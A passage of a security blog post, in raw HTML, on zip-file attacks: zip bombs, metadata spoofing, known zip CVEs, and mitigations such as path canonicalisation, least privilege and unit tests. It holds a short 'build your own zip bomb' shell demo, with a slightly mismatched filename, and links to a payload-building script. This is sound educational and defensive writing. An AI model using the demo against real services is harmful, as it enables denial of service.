&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/68j4sr9h3dg21-1080w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/68j4sr9h3dg21-1080w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:28.52%;aspect-ratio: auto 1080 / 1070&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/68j4sr9h3dg21-256w.webp 256w, https://trebledj.me/img/68j4sr9h3dg21-512w.webp 512w, https://trebledj.me/img/68j4sr9h3dg21-1024w.webp 1024w, https://trebledj.me/img/68j4sr9h3dg21-1080w.webp 1080w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1080px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/zip_bomb_who_would_win-627w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/zip_bomb_who_would_win-627w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:35.5%;aspect-ratio: auto 627 / 499&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/zip_bomb_who_would_win-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/zip_bomb_who_would_win-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/zip_bomb_who_would_win-627w.webp 627w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 627px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:30.98%;aspect-ratio: auto 523 / 477&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp 523w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 523px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The basic principle abuses the &lt;em&gt;&lt;strong&gt;deflate&lt;/strong&gt;&lt;/em&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; compression format to achieve compression ratios of up to &lt;a href=&quot;https://stackoverflow.com/a/16794960/10239789&quot;&gt;1032:1&lt;/a&gt;. This means after compression, every byte of compressed data can represent &lt;em&gt;up to&lt;/em&gt; 1032 bytes of &lt;em&gt;uncompressed&lt;/em&gt; data.&lt;/p&gt;
&lt;p&gt;Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Why are highly-repetitive patterns &#39;easier to compress&#39;?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress &lt;code&gt;1111222233334444&lt;/code&gt;, we would say &lt;code&gt;four 1s, four 2s, four 3s, four 4s&lt;/code&gt; which has a compression ratio of 12 characters to 8 words. But if we want to compress &lt;code&gt;1111111111111111&lt;/code&gt;, we would say &lt;code&gt;twelve 1s&lt;/code&gt;, which has a higher compression ratio of 12 characters to &lt;em&gt;2&lt;/em&gt; words.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;The well-known &lt;a href=&quot;https://web.archive.org/web/20250126204307/https://unforgettable.dk/&quot;&gt;42.zip&lt;/a&gt; bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;4,503,599,626,321,920 bytes, to be exact&quot;&gt;4.5PB (petabytes, 15 zeros)&lt;/abbr&gt;!&lt;/p&gt;
&lt;p&gt;Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.&lt;/p&gt;
&lt;p&gt;In 2019, David Fifield introduced &lt;em&gt;a better zip bomb&lt;/em&gt;, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as &lt;strong&gt;Metadata Spoofing&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-bomb&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-bomb&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Bomb!&lt;/h4&gt;
&lt;p&gt;Here&#39;s a small demo on a Linux shell:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Create a blank file with 5GB of null bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/dev/zero &lt;span class=&quot;token assign-left variable&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;250000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;zero.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Zip it.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; test.zip test.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Count the number of bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; zero.txt zero.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 5000000000 zero.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 4852639 zero.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 5004852639 total&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;From 5GB, we&#39;ve gone down to ~4.9MB! A few of these could exhaust most virtual machines.&lt;/p&gt;
&lt;h2 id=&quot;zip-vulnerabilities-in-the-wild&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-vulnerabilities-in-the-wild&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Vulnerabilities in the Wild&lt;/h2&gt;
&lt;p&gt;Here are some notable zip vulnerabilities in the past decade:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.ostorlab.co/zip-packages-exploitation.html&quot;&gt;Multiple Zip Vulnerabilities across Flutter and Swift Packages&lt;/a&gt; (2023)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulners.com/prion/PRION:CVE-2021-23521&quot;&gt;Zip Symlink Vulnerability in Juce&lt;/a&gt; (2021)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2018-1000544&quot;&gt;Zip Slip&lt;/a&gt; (2018) and &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2019-16892/&quot;&gt;Metadata Spoofing&lt;/a&gt; (2019) in Rubyzip&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/snyk/zip-slip-vulnerability&quot;&gt;Zip Slip Bonanza in Multiple Languages/Frameworks/Packages&lt;/a&gt; (2018 - 2019)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keep in mind zip files come in different forms. Here are some you might be familiar with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.docx, .pptx, .xlsx (Microsoft Documents),&lt;/li&gt;
&lt;li&gt;.jar (Java Archive),&lt;/li&gt;
&lt;li&gt;.apk (Android App),&lt;/li&gt;
&lt;li&gt;.mscx (MuseScore File).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any service processing such files has potential to be vulnerable.&lt;/p&gt;
&lt;h2 id=&quot;mitigations-and-other-considerations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#mitigations-and-other-considerations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Mitigations and Other Considerations&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Credit: Cybrain/Adobe Stock&quot; href=&quot;https://trebledj.me/img/171212_cyber_Defense-4160w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/171212_cyber_Defense-4160w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 4160 / 2340&quot; alt=&quot;Credit: Cybrain/Adobe Stock&quot; title=&quot;Credit: Cybrain/Adobe Stock&quot; srcset=&quot;https://trebledj.me/img/171212_cyber_Defense-256w.webp 256w, https://trebledj.me/img/171212_cyber_Defense-512w.webp 512w, https://trebledj.me/img/171212_cyber_Defense-1024w.webp 1024w, https://trebledj.me/img/171212_cyber_Defense-4160w.webp 4160w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 4160px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?&lt;/p&gt;
&lt;p&gt;Let&#39;s explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)&lt;/p&gt;
&lt;h3 id=&quot;permissions&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#permissions&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Permissions&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For sysadmins.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Input sanitisation? Never heard of it!&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Input sanitisation? Never heard of it!&quot; title=&quot;Input sanitisation? Never heard of it!&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol&gt;
&lt;li&gt;Avoid running applications as &lt;code&gt;root&lt;/code&gt; or &lt;code&gt;Administrator&lt;/code&gt;. Instead, run it with a minimum privilege user.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In America, &amp;quot;all men are created equal&amp;quot;. Not so in filesystems.&lt;/p&gt;
&lt;p&gt;Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-slip&quot;&gt;Limitations of Zip Slip&lt;/a&gt; and &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot;&gt;Limitations of Zip Symlink Attacks&lt;/a&gt; for details on relevant permissions.&lt;/p&gt;
&lt;h3 id=&quot;modern-antivirus&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#modern-antivirus&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modern Antivirus&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For sysadmins and normies.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although zip bombs have targeted antivirus (AV) systems in the past, most &lt;a href=&quot;https://www.microsoft.com/en-us/windows/learning-center/what-is-a-zip-bomb#:~:text=most%20modern%20antivirus%20programs%20are%20able%20to%20find&quot;&gt;modern AV programs can detect zip bombs&lt;/a&gt; by recognising patterns and signatures.&lt;/p&gt;
&lt;h3 id=&quot;robust-code&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#robust-code&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Robust Code&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For software developers &lt;strong&gt;building/maintaining&lt;/strong&gt; zip applications/libraries.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although &lt;code&gt;/../&lt;/code&gt; and symlinks can be used maliciously, they are technically allowed by the zip specification&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;. So... should your product implement protections against these? It depends.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
&lt;ul&gt;
&lt;li&gt;Then &lt;strong&gt;yes&lt;/strong&gt;, you should prevent the aforementioned tricks entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Are you developing a low-level unzip library, closely following the zip spec?
&lt;ul&gt;
&lt;li&gt;Then &lt;strong&gt;not necessarily&lt;/strong&gt;, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Code: Malicious Actors Hate This One Simple Trick!&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;One common way to prevent arbitrary file write attacks is to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;resolve the canonical path of the target file,&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; and&lt;/li&gt;
&lt;li&gt;verify the path is within the unzip directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For instance, Juce v6.1.5 &lt;a href=&quot;https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f#diff-16f78a017ef48e7154eac2ea6b3ee3d211fa508f5465db0c7f2667741ca00265R438-R440&quot;&gt;added such a check&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;fileToUnzip&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isAChildOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;directoryToUnzipTo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// Attack attempt detected: attempted write outside of unzip directory.&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;Attack Vectors and Edge Cases to Consider&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;em&gt;For high-level unzip libraries and applications.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Checklist of edge cases to consider.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;..&lt;/code&gt; (Zip Slip),&lt;/li&gt;
&lt;li&gt;symlinks (zip symlink attacks),&lt;/li&gt;
&lt;li&gt;potential uncompressed file size (especially if your application targets end-users or constrained systems).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;Good Defaults&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;em&gt;For all unzip libraries and applications.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Don&#39;t follow symlink directories.&lt;/li&gt;
&lt;li&gt;Don&#39;t overwrite files. You don&#39;t want your existing files wiped out, right?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s a good idea to keep these defaults, unless you really need these features, and you&#39;re confident with the level of risk you&#39;re dealing with.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;unit-tests&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#unit-tests&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Unit Tests&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For software developers &lt;strong&gt;building/maintaining&lt;/strong&gt; zip libraries.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Test cases prevent &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_regression&quot;&gt;software regression&lt;/a&gt; and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a &lt;a href=&quot;https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f#diff-16f78a017ef48e7154eac2ea6b3ee3d211fa508f5465db0c7f2667741ca00265R700&quot;&gt;test case against Zip Slip&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;tl-dr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#tl-dr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; tl;dr&lt;/h2&gt;
&lt;p&gt;A quick recap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are generally three streams of zip attacks:
&lt;ul&gt;
&lt;li&gt;Arbitrary File Write with Zip Slip&lt;/li&gt;
&lt;li&gt;Arbitrary File Read/Write with Zip Symlink Attacks&lt;/li&gt;
&lt;li&gt;Denial of Service with Zip Bombs and Metadata Spoofing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ways to counter zip attacks include:
&lt;ul&gt;
&lt;li&gt;(Sysadmins) Run applications with a &lt;em&gt;minimum-privilege&lt;/em&gt; user.&lt;/li&gt;
&lt;li&gt;(Regular Users, Sysadmins) Regularly update antiviruses with new signatures.&lt;/li&gt;
&lt;li&gt;(Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While zip files offer convenience and efficiency in compressing and sharing data, we shouldn&#39;t overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Anecdotes? Stories? New zip developments? Let me know by leaving a comment.&lt;/em&gt; 🙂&lt;/p&gt;
&lt;h2 id=&quot;other-references&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#other-references&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.pentesteracademy.com/from-zip-slip-to-system-takeover-8564433ea542&quot;&gt;PentesterAcademy: From Zip Slip to System Takeover&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20221213052327/https://thesecurityvault.com/attacks-with-zip-files-and-mitigations/&quot;&gt;SecurityVault: Attacks with Zip Files and Mitigations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/c5c9d469b77c6e4a4c061de59392c1e7&quot;&gt;zipattack.py&lt;/a&gt; - various functions to construct zip payloads in Python&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;the file linked by the symlink&quot;&gt;source file&lt;/abbr&gt; and the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;the directory containing the source file&quot;&gt;source directory&lt;/abbr&gt;. &lt;em&gt;&lt;strong&gt;If&lt;/strong&gt;&lt;/em&gt; we can read files in our upload directory &lt;strong&gt;and&lt;/strong&gt; if we have sufficient permissions, then we can (potentially) have arbitrary file read. See &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot;&gt;Limitations&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/questions/40667014/linux-what-are-the-minimum-permissions-required-to-create-a-link-to-a-file&quot;&gt;SO: Minimum Permissions Required to Create a Link to a File&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There probably aren&#39;t as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
